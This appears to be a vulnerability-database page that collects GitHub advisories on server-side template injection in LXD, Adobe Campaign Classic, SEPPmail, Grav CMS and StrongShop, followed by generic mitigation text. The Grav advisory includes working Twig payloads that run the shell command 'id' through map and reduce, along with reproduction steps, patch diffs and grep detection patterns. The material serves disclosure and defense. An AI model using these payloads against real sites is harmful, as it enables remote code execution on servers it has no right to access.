Countermeasures\nPongo2 provides mechanisms for sandboxing templates.\n\n\u003e Template sandboxing (directory patterns, banned tags/filters)\n( https://github.com/flosch/pongo2/tree/master?tab=readme-ov-file#features )\n\nThis functionality allows banning specific tags and filters by generating a custom TemplateSet.\n\nAt minimum, the following tags are considered to pose a risk of file leakage on the LXD host when used. Therefore, banning these can provide countermeasures against file reading attacks.\n-\u200b include\n-\u200b ssi\n-\u200b extends\n-\u200b import\n\nThe deny-list approach is prone to vulnerability recurrence due to missed countermeasures or new feature additions. Therefore, as the safest approach, we recommend using an allow-list format to permit only necessary functions.\n\nHowever, as far as our investigation shows, pongo2 does not have functionality to retrieve a list of registered tags or filters, nor does it provide means to implement an allow-list approach. Therefore, it is necessary to either forcibly obtain the registration list through reflection and ban anything not on the allow-list, or ban everything from the current implemented list since the library has not been updated for about two years.\n\nIn LXD\u0027s implementation, template injection attacks can be prevented by modifying the `RenderTemplate` function in `shared/util.go` to use a restricted `TemplateSet` as shown above.\n\n### Patches\n\n| LXD Series | Status |\n| ------------- | ------------- |\n| 6 | Fixed in LXD 6.5 |\n| 5.21 | Fixed in LXD 5.21.4 |\n| 5.0 | Ignored - Not critical |\n| 4.0 | Ignored - EOL and not critical |\n\n### References\nReported by GMO Flatt Security Inc.",
"id": "GHSA-w2hg-2v4p-vmh6",
"modified": "2026-01-16T22:03:02Z",
"published": "2025-10-02T21:21:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/security/advisories/GHSA-w2hg-2v4p-vmh6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54287"
},
{
"type": "PACKAGE",
"url": "https://github.com/canonical/lxd"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-4004"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Canonical LXD Arbitrary File Read via Template Injection in Snapshot Patterns"
}
GHSA-W9R5-8HH9-9CVP
Vulnerability from github – Published: 2026-08-04 00:34 – Updated: 2026-08-04 00:34Adobe Campaign Classic (ACC) is affected by an Improper Neutralization of Special Elements Used in a Template Engine vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
{
"affected": [],
"aliases": [
"CVE-2026-48323"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-03T23:16:46Z",
"severity": "CRITICAL"
},
"details": "Adobe Campaign Classic (ACC) is affected by an Improper Neutralization of Special Elements Used in a Template Engine vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.",
"id": "GHSA-w9r5-8hh9-9cvp",
"modified": "2026-08-04T00:34:53Z",
"published": "2026-08-04T00:34:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48323"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/campaign/apsb26-120.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WC7F-VVJ8-28M9
Vulnerability from github – Published: 2026-05-08 15:31 – Updated: 2026-05-18 18:31SEPPmail Secure Email Gateway before version 15.0.4 contains a server-side template injection vulnerability in the new GINA UI because an endpoint accepts attacker-controlled template, allowing remote attackers to execute arbitrary template expressions and potentially achieve remote code execution depending on the enabled template plugins.
{
"affected": [],
"aliases": [
"CVE-2026-44129"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-08T14:16:46Z",
"severity": "HIGH"
},
"details": "SEPPmail Secure Email Gateway before version 15.0.4 contains a server-side template injection vulnerability in the new GINA UI because an endpoint\u00a0accepts attacker-controlled template, allowing remote attackers to execute arbitrary template expressions and potentially achieve remote code execution depending on the enabled template plugins.",
"id": "GHSA-wc7f-vvj8-28m9",
"modified": "2026-05-18T18:31:24Z",
"published": "2026-05-08T15:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44129"
},
{
"type": "WEB",
"url": "https://downloads.seppmail.com/extrelnotes/150/ERN15.0.html#security"
},
{
"type": "WEB",
"url": "https://labs.infoguard.ch/posts/seppmail_secure_e-mail_gateway_rce_vulnerabilities_cve-2026-2743_cve-2026-7864_cve-2026-44127_cve-2026-44128"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-WHR7-M3F8-MPM8
Vulnerability from github – Published: 2023-06-16 19:37 – Updated: 2023-06-16 19:37Hi,
actually we have sent the bug report to security@getgrav.org on 27th March 2023 and on 10th April 2023.
Grav Server-side Template Injection (SSTI) via Twig Default Filters
Summary:
| Product | Grav CMS |
|---|---|
| Vendor | Grav |
| Severity | High - Users with login access to Grav Admin panel and page creation/update permissions are able to obtain remote code/command execution |
| Affected Versions | <= v1.7.40 (Commit 685d762) (Latest version as of writing) |
| Tested Versions | v1.7.40 |
| Internal Identifier | STAR-2023-0008 |
| CVE Identifier | TBD |
| CWE(s) | CWE-184: Incomplete List of Disallowed Inputs, CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine |
CVSS3.1 Scoring System:
Base Score: 7.2 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
| Metric | Value |
| ---------------------------- | --------- |
| Attack Vector (AV) | Network |
| Attack Complexity (AC) | Low |
| Privileges Required (PR) | High |
| User Interaction (UI) | None |
| Scope (S) | Unchanged |
| Confidentiality (C) | High |
| Integrity (I) | High |
| Availability (A) | High |
Product Overview:
Grav is a PHP-based flat-file content management system (CMS) designed to provide a fast and simple way to build websites. It supports rendering of web pages written in Markdown and Twig expressions, and provides an administration panel to manage the entire website via an optional Admin plugin.
Vulnerability Summary:
The patch for CVE-2022-2073, a server-side template injection vulnerability in Grav leveraging the default filter() function, did not block other built-in functions exposed by Twig's Core Extension that could be used to invoke arbitrary unsafe functions, thereby allowing for remote code execution.
Vulnerability Details:
Twig comes with an extension known as the Core Extension that is enabled by default when initialising a new Twig environment. Twig's Core Extension provides multiple built-in filters, such as the filter() function, which can be used in Twig templates.
CVE-2022-2073 leverages the default filter() filter function in Twig to invoke arbitrary unsafe functions. This was patched by overriding the default filter() filter function in commit 9d6a2d of Grav v1.7.34 to perform validation checks on the arguments passed to filter():
~~~diff php
...
class GravExtension extends AbstractExtension implements GlobalsInterface
{
...
public function getFilters(): array
{
return [
...
// Security fix
+ new TwigFilter('filter', [$this, 'filterFilter'], ['needs_environment' => true]),
];
}
...
- /**
-
- @param Environment $env
-
- @param array $array
-
- @param callable|string $arrow
-
- @return array|CallbackFilterIterator
-
- @throws RuntimeError
- */
- function filterFilter(Environment $env, $array, $arrow)
- {
- if (is_string($arrow) && Utils::isDangerousFunction($arrow)) {
- throw new RuntimeError('Twig |filter("' . $arrow . '") is not allowed.');
- } +
- return \twig_array_filter($env, $array, $arrow);
- } }
However, looking at the source code of [/src/Extension/CoreExtension.php](https://github.com/twigphp/Twig/blob/v1.44.7/src/Extension/CoreExtension.php) of Twig, alternative default Twig filters could also be used invoke arbitrary functions:
~~~php
...
class CoreExtension extends AbstractExtension
{
...
public function getFilters(): array
{
return [
...
// array helpers
...
new TwigFilter('filter', 'twig_array_filter', ['needs_environment' => true]), // unsafe
new TwigFilter('map', 'twig_array_map', ['needs_environment' => true]), // unsafe
new TwigFilter('reduce', 'twig_array_reduce', ['needs_environment' => true]), // unsafe
];
}
The three filter functions above respectively call array_filter(), array_map() and array_reduce(). Since only filter() is being overriden by Grav to ensure that the callable passed to filter() does not result in the invocation of an unsafe function, the other two functions (i.e. map() and reduce()) could be used by an authenticated attacker that is able to inject and render malicious templates to gain remote code execution.
Exploit Conditions:
This vulnerability can be exploited if the attacker has access to: 1. an administrator account, or 2. a non-administrator, user account that are granted the following permissions: - login access to Grav admin panel, and - page creation or update rights
Reproduction Steps:
- Log in to Grav Admin using an administrator account.
- Navigate to
Accounts > Add, and ensure that the following permissions are assigned when creating a new low-privileged user:- Login to Admin - Allowed
- Page Update - Allowed
- Log out of Grav Admin, and log back in using the account created in step 2.
- Navigate to
http://<grav_installation>/admin/pages/home. - Click the
Advancedtab and select the checkbox besideTwigto ensure that Twig processing is enabled for the modified webpage. - Under the
Contenttab, insert the following payload within the editor: ~~~twig {{ ['id'] | map('system') }} {{ ['id'] | reduce('system') }} ~~~ - Click the Preview button. Observe that the output of the
idshell command is returned in the preview.
Suggested Mitigations:
Override the built-in Twig map() and reduce() filter functions in system/src/Grav/Common/Twig/Extension/GravExtension.php to validate the argument passed to the filter in $arrow.
For example:
...
class GravExtension extends AbstractExtension implements GlobalsInterface
{
...
public function getFilters(): array
{
return [
...
// Security fix
new TwigFilter('filter', [$this, 'filterFilter'], ['needs_environment' => true]),
+ new TwigFilter('map', [$this, 'mapFilter'], ['needs_environment' => true]),
+ new TwigFilter('reduce', [$this, 'reduceFilter'], ['needs_environment' => true]),
];
}
...
+ /**
+ * @param Environment $env
+ * @param array $array
+ * @param callable|string $arrow
+ * @return array|CallbackFilterIterator
+ * @throws RuntimeError
+ */
+ function mapFilter(Environment $env, $array, $arrow)
+ {
+ if (!$arrow instanceof Closure && !is_string($arrow) || Utils::isDangerousFunction($arrow)) {
+ throw new RuntimeError('Twig |map("' . $arrow . '") is not allowed.');
+ }
+
+ return \twig_array_map($env, $array, $arrow);
+ }
+
+ /**
+ * @param Environment $env
+ * @param array $array
+ * @param callable|string $arrow
+ * @return array|CallbackFilterIterator
+ * @throws RuntimeError
+ */
+ function reduceFilter(Environment $env, $array, $arrow)
+ {
+ if (!$arrow instanceof Closure && !is_string($arrow) || Utils::isDangerousFunction($arrow)) {
+ throw new RuntimeError('Twig |reduce("' . $arrow . '") is not allowed.');
+ }
+
+ return \twig_array_reduce($env, $array, $arrow);
+ }
}
Detection Guidance:
The following strategies may be used to detect potential exploitation attempts.
1. Searching within Markdown pages using the following shell command:
grep -Priz -e '\|\s*(map|reduce)\s*\(' /path/to/webroot/user/pages/
2. Searching within Doctrine cache data using the following shell command:
grep -Priz -e '\|\s*(map|reduce)\s*\(' --include '*.doctrinecache.data' /path/to/webroot/cache/
3. Searching within Twig cache using the following shell command:
grep -Priz -e 'twig_array_(map|reduce)' /path/to/webroot/cache/twig/
4. Searching within compiled Twig template files using the following shell command:
grep -Priz -e '\|\s*(map|reduce)\s*\(' /path/to/webroot/cache/compiled/files/
Note that it is not possible to detect indicators of compromise reliably using the Grav log file (located at /path/to/webroot/logs/grav.log by default), as successful exploitation attempts do not generate any additional logs. However, it is worthwhile to examine any PHP errors or warnings logged to determine the existence of any failed exploitation attempts.
Credits:
Ngo Wei Lin (@Creastery) & Wang Hengyue (@w_hy_04) of STAR Labs SG Pte. Ltd. (@starlabs_sg)
Vulnerability Disclosure:
This vulnerability report is subject to a 120 day disclosure deadline as per STAR Labs SG Pte. Ltd.'s Vulnerability Disclosure Policy. After 120 days have elapsed, the vulnerability report will be published to the public by STAR Labs SG Pte. Ltd. (STAR Labs).
The scheduled disclosure date is 25th July, 2023. Disclosure at an earlier date is also possible if agreed upon by all parties.
Kindly note that STAR Labs reserved and assigned the following CVE identifiers to the respective vulnerabilities presented in this report:
1. CVE-2023-30596
Server-side Template Injection (SSTI) in getgrav/grav <= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in GravExtension.filterFilter() and to achieve remote code execution via Twig's default filters map() and reduce(). This is a bypass of CVE-2022-2073.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.42"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-34448"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-16T19:37:08Z",
"nvd_published_at": "2023-06-14T23:15:11Z",
"severity": "HIGH"
},
"details": "Hi,\n\nactually we have sent the bug report to [security@getgrav.org](mailto:security@getgrav.org) on 27th March 2023 and on 10th April 2023.\n\n# Grav Server-side Template Injection (SSTI) via Twig Default Filters\n\n## Summary: \n| **Product** | Grav CMS |\n| ----------------------- | --------------------------------------------- |\n| **Vendor** | Grav |\n| **Severity** | High - Users with login access to Grav Admin panel and page creation/update permissions are able to obtain remote code/command execution |\n| **Affected Versions** | \u003c= [v1.7.40](https://github.com/getgrav/grav/tree/1.7.40) (Commit [685d762](https://github.com/getgrav/grav/commit/685d76231a057416651ed192a6a2e83720800e61)) (Latest version as of writing) |\n| **Tested Versions** | v1.7.40 |\n| **Internal Identifier** | STAR-2023-0008 |\n| **CVE Identifier** | TBD |\n| **CWE(s)** | CWE-184: Incomplete List of Disallowed Inputs, CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine |\n\n## CVSS3.1 Scoring System: \n**Base Score:** 7.2 (High) \n**Vector String:** `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H` \n| **Metric** | **Value** |\n| ---------------------------- | --------- |\n| **Attack Vector (AV)** | Network |\n| **Attack Complexity (AC)** | Low |\n| **Privileges Required (PR)** | High |\n| **User Interaction (UI)** | None |\n| **Scope (S)** | Unchanged |\n| **Confidentiality \\(C)** | High |\n| **Integrity (I)** | High |\n| **Availability (A)** | High |\n\n## Product Overview: \nGrav is a PHP-based flat-file content management system (CMS) designed to provide a fast and simple way to build websites. It supports rendering of web pages written in Markdown and Twig expressions, and provides an administration panel to manage the entire website via an optional Admin plugin.\n\n## Vulnerability Summary: \nThe patch for [CVE-2022-2073](https://huntr.dev/bounties/3ef640e6-9e25-4ecb-8ec1-64311d63fe66/), a server-side template injection vulnerability in Grav leveraging the default `filter()` function, did not block other built-in functions exposed by Twig\u0027s Core Extension that could be used to invoke arbitrary unsafe functions, thereby allowing for remote code execution.\n\n## Vulnerability Details: \nTwig comes with an extension known as the [Core Extension](https://github.com/twigphp/Twig/blob/v1.44.7/src/Extension/CoreExtension.php) that is enabled by default when initialising a new [Twig environment](https://github.com/twigphp/Twig/blob/v1.44.7/src/Environment.php#L148). Twig\u0027s Core Extension provides multiple built-in filters, such as the `filter()` function, which can be used in Twig templates. \n\n[CVE-2022-2073](https://huntr.dev/bounties/3ef640e6-9e25-4ecb-8ec1-64311d63fe66/) leverages the default `filter()` filter function in Twig to invoke arbitrary unsafe functions. This was patched by overriding the default `filter()` filter function in commit [9d6a2d](https://www.github.com/getgrav/grav/commit/9d6a2dba09fd4e56f5cdfb9a399caea355bfeb83) of Grav v1.7.34 to perform validation checks on the arguments passed to `filter()`:\n~~~diff php\n...\nclass GravExtension extends AbstractExtension implements GlobalsInterface\n{\n ...\n public function getFilters(): array\n {\n return [\n ...\n // Security fix\n+ new TwigFilter(\u0027filter\u0027, [$this, \u0027filterFilter\u0027], [\u0027needs_environment\u0027 =\u003e true]),\n ];\n }\n \n ...\n\n+ /**\n+ * @param Environment $env\n+ * @param array $array\n+ * @param callable|string $arrow\n+ * @return array|CallbackFilterIterator\n+ * @throws RuntimeError\n+ */\n+ function filterFilter(Environment $env, $array, $arrow)\n+ {\n+ if (is_string($arrow) \u0026\u0026 Utils::isDangerousFunction($arrow)) {\n+ throw new RuntimeError(\u0027Twig |filter(\"\u0027 . $arrow . \u0027\") is not allowed.\u0027);\n+ }\n+\n+ return \\twig_array_filter($env, $array, $arrow);\n+ }\n}\n~~~\n\nHowever, looking at the source code of [/src/Extension/CoreExtension.php](https://github.com/twigphp/Twig/blob/v1.44.7/src/Extension/CoreExtension.php) of Twig, alternative default Twig filters could also be used invoke arbitrary functions:\n~~~php\n...\nclass CoreExtension extends AbstractExtension\n{\n ...\n public function getFilters(): array\n {\n return [\n ...\n // array helpers\n ...\n new TwigFilter(\u0027filter\u0027, \u0027twig_array_filter\u0027, [\u0027needs_environment\u0027 =\u003e true]), // unsafe\n new TwigFilter(\u0027map\u0027, \u0027twig_array_map\u0027, [\u0027needs_environment\u0027 =\u003e true]), // unsafe\n new TwigFilter(\u0027reduce\u0027, \u0027twig_array_reduce\u0027, [\u0027needs_environment\u0027 =\u003e true]), // unsafe\n ];\n }\n~~~\n\nThe three filter functions above respectively call `array_filter()`, `array_map()` and `array_reduce()`. Since only `filter()` is being overriden by Grav to ensure that the callable passed to `filter()` does not result in the invocation of an unsafe function, the other two functions (i.e. `map()` and `reduce()`) could be used by an authenticated attacker that is able to inject and render malicious templates to gain remote code execution.\n\n## Exploit Conditions: \nThis vulnerability can be exploited if the attacker has access to:\n1. an administrator account, or\n2. a non-administrator, user account that are granted the following permissions:\n - login access to Grav admin panel, and\n - page creation or update rights\n\n## Reproduction Steps: \n1. Log in to Grav Admin using an administrator account.\n2. Navigate to `Accounts \u003e Add`, and ensure that the following permissions are assigned when creating a new low-privileged user:\n * Login to Admin - Allowed\n * Page Update - Allowed\n2. Log out of Grav Admin, and log back in using the account created in step 2.\n3. Navigate to `http://\u003cgrav_installation\u003e/admin/pages/home`.\n4. Click the `Advanced` tab and select the checkbox beside `Twig` to ensure that Twig processing is enabled for the modified webpage.\n5. Under the `Content` tab, insert the following payload within the editor:\n ~~~twig\n {{ [\u0027id\u0027] | map(\u0027system\u0027) }}\n {{ [\u0027id\u0027] | reduce(\u0027system\u0027) }}\n ~~~\n4. Click the Preview button. Observe that the output of the `id` shell command is returned in the preview.\n\n## Suggested Mitigations: \nOverride the built-in Twig `map()` and `reduce()` filter functions in `system/src/Grav/Common/Twig/Extension/GravExtension.php` to validate the argument passed to the filter in `$arrow`.\n\nFor example:\n~~~diff\n...\nclass GravExtension extends AbstractExtension implements GlobalsInterface\n{\n ...\n public function getFilters(): array\n {\n return [\n ...\n // Security fix\n new TwigFilter(\u0027filter\u0027, [$this, \u0027filterFilter\u0027], [\u0027needs_environment\u0027 =\u003e true]),\n+ new TwigFilter(\u0027map\u0027, [$this, \u0027mapFilter\u0027], [\u0027needs_environment\u0027 =\u003e true]),\n+ new TwigFilter(\u0027reduce\u0027, [$this, \u0027reduceFilter\u0027], [\u0027needs_environment\u0027 =\u003e true]),\n ];\n }\n\n ...\n+ /**\n+ * @param Environment $env\n+ * @param array $array\n+ * @param callable|string $arrow\n+ * @return array|CallbackFilterIterator\n+ * @throws RuntimeError\n+ */\n+ function mapFilter(Environment $env, $array, $arrow)\n+ {\n+ if (!$arrow instanceof Closure \u0026\u0026 !is_string($arrow) || Utils::isDangerousFunction($arrow)) {\n+ throw new RuntimeError(\u0027Twig |map(\"\u0027 . $arrow . \u0027\") is not allowed.\u0027);\n+ }\n+\n+ return \\twig_array_map($env, $array, $arrow);\n+ }\n+ \n+ /**\n+ * @param Environment $env\n+ * @param array $array\n+ * @param callable|string $arrow\n+ * @return array|CallbackFilterIterator\n+ * @throws RuntimeError\n+ */\n+ function reduceFilter(Environment $env, $array, $arrow)\n+ {\n+ if (!$arrow instanceof Closure \u0026\u0026 !is_string($arrow) || Utils::isDangerousFunction($arrow)) {\n+ throw new RuntimeError(\u0027Twig |reduce(\"\u0027 . $arrow . \u0027\") is not allowed.\u0027);\n+ }\n+\n+ return \\twig_array_reduce($env, $array, $arrow);\n+ }\n}\n~~~\n\n## Detection Guidance: \nThe following strategies may be used to detect potential exploitation attempts.\n1. Searching within Markdown pages using the following shell command: \n `grep -Priz -e \u0027\\|\\s*(map|reduce)\\s*\\(\u0027 /path/to/webroot/user/pages/`\n2. Searching within Doctrine cache data using the following shell command: \n `grep -Priz -e \u0027\\|\\s*(map|reduce)\\s*\\(\u0027 --include \u0027*.doctrinecache.data\u0027 /path/to/webroot/cache/`\n3. Searching within Twig cache using the following shell command: \n `grep -Priz -e \u0027twig_array_(map|reduce)\u0027 /path/to/webroot/cache/twig/`\n4. Searching within compiled Twig template files using the following shell command: \n `grep -Priz -e \u0027\\|\\s*(map|reduce)\\s*\\(\u0027 /path/to/webroot/cache/compiled/files/`\n\nNote that it is not possible to detect indicators of compromise reliably using the Grav log file (located at `/path/to/webroot/logs/grav.log` by default), as successful exploitation attempts do not generate any additional logs. However, it is worthwhile to examine any PHP errors or warnings logged to determine the existence of any failed exploitation attempts.\n\n## Credits: \nNgo Wei Lin ([@Creastery](https://twitter.com/Creastery)) \u0026 Wang Hengyue ([@w_hy_04](https://twitter.com/w_hy_04)) of STAR Labs SG Pte. Ltd. ([@starlabs_sg](https://twitter.com/starlabs_sg))\n\n## Vulnerability Disclosure: \nThis vulnerability report is subject to a 120 day disclosure deadline as per [STAR Labs SG Pte. Ltd.\u0027s Vulnerability Disclosure Policy](https://starlabs.sg/advisories/STAR%20Labs%20SG%20Pte.%20Ltd.%20Vulnerability%20Disclosure%20Policy.pdf). After 120 days have elapsed, the vulnerability report will be published to the public by [STAR Labs SG Pte. Ltd.](https://starlabs.sg/) (STAR Labs). \n\nThe scheduled disclosure date is _**25th July, 2023**_. Disclosure at an earlier date is also possible if agreed upon by all parties. \n\nKindly note that STAR Labs reserved and assigned the following CVE identifiers to the respective vulnerabilities presented in this report: \n1. **CVE-2023-30596**\n Server-side Template Injection (SSTI) in getgrav/grav \u003c= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in `GravExtension.filterFilter()` and to achieve remote code execution via Twig\u0027s default filters `map()` and `reduce()`. This is a bypass of CVE-2022-2073.\n",
"id": "GHSA-whr7-m3f8-mpm8",
"modified": "2023-06-16T19:37:08Z",
"published": "2023-06-16T19:37:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-whr7-m3f8-mpm8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34448"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/commit/244758d4383034fe4cd292d41e477177870b65ec"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/commit/71bbed12f950de8335006d7f91112263d8504f1b"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/commit/8c2c1cb72611a399f13423fc6d0e1d998c03e5c8"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/commit/9d01140a63c77075ef09b26ef57cf186138151a5"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
},
{
"type": "WEB",
"url": "https://github.com/twigphp/Twig/blob/v1.44.7/src/Environment.php#L148"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/3ef640e6-9e25-4ecb-8ec1-64311d63fe66"
},
{
"type": "WEB",
"url": "https://www.github.com/getgrav/grav/commit/9d6a2dba09fd4e56f5cdfb9a399caea355bfeb83"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Grav Server-side Template Injection (SSTI) via Twig Default Filters"
}
GHSA-WJ7R-P6PM-XX2R
Vulnerability from github – Published: 2024-06-17 15:30 – Updated: 2024-08-01 15:31StrongShop v1.0 was discovered to contain a Server-Side Template Injection (SSTI) vulnerability via the component /shippingOptionConfig/index.blade.php.
{
"affected": [],
"aliases": [
"CVE-2024-37621"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-97"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-17T14:15:11Z",
"severity": "HIGH"
},
"details": "StrongShop v1.0 was discovered to contain a Server-Side Template Injection (SSTI) vulnerability via the component /shippingOptionConfig/index.blade.php.",
"id": "GHSA-wj7r-p6pm-xx2r",
"modified": "2024-08-01T15:31:49Z",
"published": "2024-06-17T15:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37621"
},
{
"type": "WEB",
"url": "https://github.com/Hebing123/cve/issues/47"
},
{
"type": "WEB",
"url": "https://www.strongshop.cn"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.
Mitigation
Use the template engine's sandbox or restricted mode, if available.
No CAPEC attack patterns related to this CWE.